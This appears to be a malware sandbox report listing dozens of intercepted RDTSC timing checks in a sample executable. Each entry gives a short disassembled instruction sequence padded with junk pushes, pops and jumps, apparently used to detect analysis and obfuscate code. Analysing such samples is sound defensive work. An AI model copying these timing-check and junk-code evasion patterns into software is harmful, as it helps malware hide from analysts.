Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2BC1A0 second address: 2BC1AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jne 00007F625CDF2466h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2BC1AE second address: 2BC1BB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2BC1BB second address: 2BC1BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2BC1BF second address: 2BC1C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2BC1C3 second address: 2BC252 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F625CDF2476h 0x0000000b popad 0x0000000c nop 0x0000000d jmp 00007F625CDF246Eh 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push esi 0x00000017 call 00007F625CDF2468h 0x0000001c pop esi 0x0000001d mov dword ptr [esp+04h], esi 0x00000021 add dword ptr [esp+04h], 00000017h 0x00000029 inc esi 0x0000002a push esi 0x0000002b ret 0x0000002c pop esi 0x0000002d ret 0x0000002e mov dword ptr [ebp+122D3145h], edi 0x00000034 push 00000000h 0x00000036 push 00000000h 0x00000038 push edi 0x00000039 call 00007F625CDF2468h 0x0000003e pop edi 0x0000003f mov dword ptr [esp+04h], edi 0x00000043 add dword ptr [esp+04h], 00000019h 0x0000004b inc edi 0x0000004c push edi 0x0000004d ret 0x0000004e pop edi 0x0000004f ret 0x00000050 mov dword ptr [ebp+1244D453h], esi 0x00000056 jne 00007F625CDF246Ch 0x0000005c xchg eax, ebx 0x0000005d push eax 0x0000005e push edx 0x0000005f push eax 0x00000060 push edx 0x00000061 push eax 0x00000062 push edx 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2BC252 second address: 2BC256 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2BC256 second address: 2BC267 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F625CDF246Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2BDCE3 second address: 2BDCEA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2BCB87 second address: 2BCB8B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2BCB8B second address: 2BCB91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 27F7DF second address: 27F7E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2BCB91 second address: 2BCBB7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F625CED05BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F625CED05C4h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2BE37F second address: 2BE398 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F625CDF2471h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2BE398 second address: 2BE39C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2BF849 second address: 2BF84F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2BF84F second address: 2BF8AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F625CED05C0h 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push esi 0x00000011 call 00007F625CED05B8h 0x00000016 pop esi 0x00000017 mov dword ptr [esp+04h], esi 0x0000001b add dword ptr [esp+04h], 0000001Ch 0x00000023 inc esi 0x00000024 push esi 0x00000025 ret 0x00000026 pop esi 0x00000027 ret 0x00000028 mov edi, dword ptr [ebp+122D325Dh] 0x0000002e xor dword ptr [ebp+1244D69Fh], eax 0x00000034 push 00000000h 0x00000036 sub esi, dword ptr [ebp+122D29D6h] 0x0000003c push 00000000h 0x0000003e movsx edi, bx 0x00000041 xchg eax, ebx 0x00000042 pushad 0x00000043 push eax 0x00000044 push edx 0x00000045 push eax 0x00000046 push edx 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2BF8AB second address: 2BF8AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2BF8AF second address: 2BF8BD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jg 00007F625CED05B6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2BF8BD second address: 2BF8C9 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2C0037 second address: 2C003B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2C0B57 second address: 2C0B5B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2C89D8 second address: 2C89FD instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jmp 00007F625CED05C1h 0x0000000c pop ecx 0x0000000d popad 0x0000000e push eax 0x0000000f je 00007F625CED05C4h 0x00000015 push eax 0x00000016 push edx 0x00000017 push ecx 0x00000018 pop ecx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2C89FD second address: 2C8A01 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2CB6E5 second address: 2CB708 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007F625CED05C8h 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2CB708 second address: 2CB757 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop eax 0x00000006 nop 0x00000007 mov ebx, 3EE1ECF1h 0x0000000c push 00000000h 0x0000000e push ebx 0x0000000f jmp 00007F625CDF2474h 0x00000014 pop edi 0x00000015 push 00000000h 0x00000017 mov dword ptr [ebp+122D2D52h], ecx 0x0000001d push eax 0x0000001e pushad 0x0000001f pushad 0x00000020 jmp 00007F625CDF2475h 0x00000025 jno 00007F625CDF2466h 0x0000002b popad 0x0000002c push eax 0x0000002d push edx 0x0000002e push esi 0x0000002f pop esi 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2CC6F9 second address: 2CC703 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F625CED05B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2C6BDF second address: 2C6BE5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2C6BE5 second address: 2C6BE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2C6BE9 second address: 2C6BED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2C7BFA second address: 2C7C10 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop ecx 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jng 00007F625CED05B8h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2C7C10 second address: 2C7C15 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2CFB9B second address: 2CFBBC instructions: 0x00000000 rdtsc 0x00000002 jc 00007F625CED05BCh 0x00000008 ja 00007F625CED05B6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 pushad 0x00000012 jnc 00007F625CED05BCh 0x00000018 push eax 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2CB9B7 second address: 2CB9BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2CB9BC second address: 2CB9C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F625CED05B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D1B30 second address: 2D1B38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D1B38 second address: 2D1B5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F625CED05C6h 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f push edi 0x00000010 pop edi 0x00000011 pop esi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D1B5B second address: 2D1B61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D1B61 second address: 2D1B65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D1B65 second address: 2D1B69 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D3A36 second address: 2D3AB8 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F625CED05B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push edi 0x00000011 call 00007F625CED05B8h 0x00000016 pop edi 0x00000017 mov dword ptr [esp+04h], edi 0x0000001b add dword ptr [esp+04h], 00000019h 0x00000023 inc edi 0x00000024 push edi 0x00000025 ret 0x00000026 pop edi 0x00000027 ret 0x00000028 call 00007F625CED05C9h 0x0000002d cld 0x0000002e pop ebx 0x0000002f or dword ptr [ebp+12450E42h], ecx 0x00000035 push 00000000h 0x00000037 and ebx, dword ptr [ebp+122D1D4Ah] 0x0000003d push 00000000h 0x0000003f xchg eax, esi 0x00000040 jmp 00007F625CED05C8h 0x00000045 push eax 0x00000046 push eax 0x00000047 push edx 0x00000048 jne 00007F625CED05BCh 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D3AB8 second address: 2D3AC8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F625CDF246Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2CEAB7 second address: 2CEABB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2CEABB second address: 2CEAC1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2CEBE9 second address: 2CEBED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2CD9C0 second address: 2CD9C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2CD9C4 second address: 2CD9CA instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2CD9CA second address: 2CD9D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F625CDF2466h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D4B3B second address: 2D4B40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2DD955 second address: 2DD96D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F625CDF246Fh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2DD96D second address: 2DD977 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F625CED05B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2DD12A second address: 2DD12E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2DD12E second address: 2DD13E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jo 00007F625CED05BCh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2DD581 second address: 2DD5B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F625CDF2466h 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f je 00007F625CDF2466h 0x00000015 push edi 0x00000016 pop edi 0x00000017 pop eax 0x00000018 jg 00007F625CDF2478h 0x0000001e jmp 00007F625CDF2470h 0x00000023 pushad 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E1615 second address: 2E1641 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F625CED05B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007F625CED05C9h 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 push edi 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E1641 second address: 2E1669 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 pop edi 0x00000008 mov eax, dword ptr [eax] 0x0000000a jnc 00007F625CDF2484h 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F625CDF2476h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E16EF second address: 2E16FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E16FC second address: 2E1706 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F625CDF2466h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E1706 second address: 2E171C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c jp 00007F625CED05C8h 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E171C second address: 2E1720 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E1720 second address: 2E1724 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E1724 second address: 2E1752 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [eax] 0x00000008 pushad 0x00000009 jmp 00007F625CDF2470h 0x0000000e jc 00007F625CDF2468h 0x00000014 push edi 0x00000015 pop edi 0x00000016 popad 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e pushad 0x0000001f popad 0x00000020 push ecx 0x00000021 pop ecx 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 27DD80 second address: 27DD9D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F625CED05C8h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E68BF second address: 2E68E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F625CDF2477h 0x00000009 push edi 0x0000000a jng 00007F625CDF2466h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E6EE4 second address: 2E6EF5 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F625CED05B6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E6EF5 second address: 2E6EFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E6EFB second address: 2E6F06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E6F06 second address: 2E6F0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E71C9 second address: 2E71CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E71CD second address: 2E71D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E71D3 second address: 2E71F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F625CED05C6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E71F8 second address: 2E7213 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F625CDF246Bh 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f jg 00007F625CDF2466h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E7213 second address: 2E7219 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E7219 second address: 2E721F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E736E second address: 2E7374 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E7374 second address: 2E7391 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F625CDF246Fh 0x00000007 je 00007F625CDF2466h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E7391 second address: 2E739B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F625CED05B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E739B second address: 2E73AF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jng 00007F625CDF2466h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jne 00007F625CDF246Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2ED6AE second address: 2ED6B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2ED6B4 second address: 2ED6B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2EC107 second address: 2EC10D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2EC10D second address: 2EC113 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2EC913 second address: 2EC934 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F625CED05B6h 0x0000000a jmp 00007F625CED05C7h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2EC934 second address: 2EC93A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2EC93A second address: 2EC965 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 jmp 00007F625CED05C9h 0x0000000e pop ebx 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2EC965 second address: 2EC969 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2EC969 second address: 2EC96D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2EC96D second address: 2EC97D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 jc 00007F625CDF2466h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2ED4F0 second address: 2ED4F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2ED4F4 second address: 2ED508 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F625CDF2470h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2EBDEF second address: 2EBDF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2EBDF3 second address: 2EBDF7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2EBDF7 second address: 2EBE0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnl 00007F625CED05BCh 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
